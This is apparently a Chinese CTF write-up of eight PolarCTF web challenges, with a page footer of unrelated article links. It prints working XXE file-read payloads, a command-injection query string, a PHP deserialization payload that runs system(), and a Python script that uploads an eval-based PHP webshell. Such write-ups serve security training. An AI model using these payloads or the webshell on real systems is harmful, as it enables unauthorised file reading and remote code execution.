web部分中等题目

1.ExX?

看见一个phpinfo的页面目前没啥思路直接用dir扫一下

直接访问

发现了xml句眼,加上题目的提示直接xxe注入一下看看是否能用命令直接得到flag.php这个答案

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY xxe SYSTEM "file://flag.php">

]>

<root>&xxe;</root>

发现没有再尝试xxe加伪协议

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=flagggg.php">

]>

<root>&file;</root>

PD9waHANCi8vZmxhZ3s3ZTk3ZThjNGY5ZDZiZTM1YWU4NTAwYjlmYjJjZGQzZX0NCg==解码

flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}

2.EZ_Host

进去就看到这句话Welcome to the CTF challenge! Use /?host=YOUR_HOST to play.

http://cfe35e40-a16e-4e7d-9412-0c22d0c586aa.www.polarctf.com:8090/?host=127.0.0.1

弹出

复制代码
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.034 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.034/0.034/0.034 ms

尝试命令执行http://cfe35e40-a16e-4e7d-9412-0c22d0c586aa.www.polarctf.com:8090//?host=127.0.0.1;%20ls

发现有个flag

访问http://cfe35e40-a16e-4e7d-9412-0c22d0c586aa.www.polarctf.com:8090/flag

3.传马

看题目就是上传木马然后访问后门得到shell

直接上传图片码试试然后修改后缀为php

得到上传路径然后访问就行http://8c927375-bf6b-452f-ae53-2ed2b7dbb233.www.polarctf.com:8090/upload/1.php

得到flag{420F9CED0C3E6CE65A90817A65197A09}

4.笑傲上传

应该跟上面的差不多

这里多了上传路径的要求

function checkFile() {

var file = document.getElementsByName('upload_file')[0].value;

if (file == null || file == "") {

alert("请选择要上传的文件!");

return false;

}

//定义允许上传的文件类型

var allow_ext = ".jpg|.png|.gif";

//提取上传文件的类型

var ext_name = file.substring(file.lastIndexOf("."));

//判断上传文件类型是否允许上传

if (allow_ext.indexOf(ext_name) == -1) {

var errMsg = "你别真传啊! " + ext_name + "是不可以的";

alert(errMsg);

return false;

}

}

</script>

发现了文件包含的漏洞

最后:flag{dfbb09ce0b4ae994b2a8249b810ea22d}

5.序列一下

<?php

class Polar{

public $url = 'polarctf.com';

public $lt;

public $b;

function __destruct()

{

a = this->lt;

a(this->b);

}

}

unserialize($_POST['x']);

highlight_file(FILE);

?>

代码审计:

反序列化问题,post传参x,一个class,三个公共的对象,然后一个魔术方法。

复制代码
function __destruct() {
        $a = $this->lt;
        $a($this->b);

直接利用这段代码来实现命令执行

序列化代码

<?php

class Polar {

public $url = 'polarctf.com';

public $lt = 'system';

public $b = 'cat flag.php';

}

echo serialize(new Polar());

?>

最后的payload:x=O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:9:"cat /flag";} flag{425d24d5f338640619b0760a358bdf9f}

6.坏掉的上传页

下面写着你的上传页被破坏了

尝试把上传功能给恢复直接ai了,根据源代码

或者是你直接使用py文件来上传一个文件就行

复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
作者:lxy
日期:2026年03月19日
"""
import requests

url = "http://72e1866b-5477-44ec-b9e8-55617c4f3944.www.polarctf.com:8090/"

files = {
    'file': ('1.php',
    b'<?php @eval($_POST["cmd"]); ?>',
    'image/jpeg')
}

response = requests.post(url, files=files)
print(response.text)

开始上传后门文件

然后dir扫一下发现了config.php目录

然后

<?php

error_reporting(0);

show_source(FILE);

define("DB_FILE", UPLOAD_PATH . "database.db");

?>

发现了这个数据库,应该是我们上传后有一个明显的路径

复制代码
 ./uploadsabc/file_69bc0f421755d4.39572116.php

flag{73b974596dc61737dbe1d52ec2e84433}

7.xxmmll

进去的页面就看见这个但是看见是应该还是比较简单的

直接先去看原码然后再去用dir扫一下目录

复制代码
FLAG: flag{ce22bbe170d234645361239b395dbc5d} 

8.Note

笔记本里面应该有详细的信息,dir扫一下

http://f1265064-3c90-4dc3-8191-06845ed8e774.www.polarctf.com:8090/flag.txt

复制代码
flag{4596b24ab4ffcaf5472e9db97d21a3a1}
相关推荐
轩情吖2 小时前
MySQL之事务管理
android·后端·mysql·adb·事务·隔离性·原子性
若惜2 小时前
selenium自动化测试web自动化测试 框架封装Pom
前端·python·selenium
Amumu121382 小时前
Js:内置对象
开发语言·前端·javascript
广州华水科技2 小时前
2026年单北斗GNSS变形监测系统推荐,助力精准监控与智慧城市建设
前端
鸡吃丸子2 小时前
如何编写一个高质量的AI Skill
前端·ai
万物得其道者成2 小时前
uni-app Android 离线打包:多环境(prod/dev)配置
android·opencv·uni-app
符哥20082 小时前
Firebase 官方提供的Quick Start-Android 库的功能集讲解
android
我命由我123452 小时前
Element Plus 2.2.27 的单选框 Radio 组件,选中一个选项后,全部选项都变为选中状态
开发语言·前端·javascript·html·ecmascript·html5·js
Luna-player2 小时前
第3章 Spring Boot的Web应用支持,个人学习笔记
前端·spring boot·学习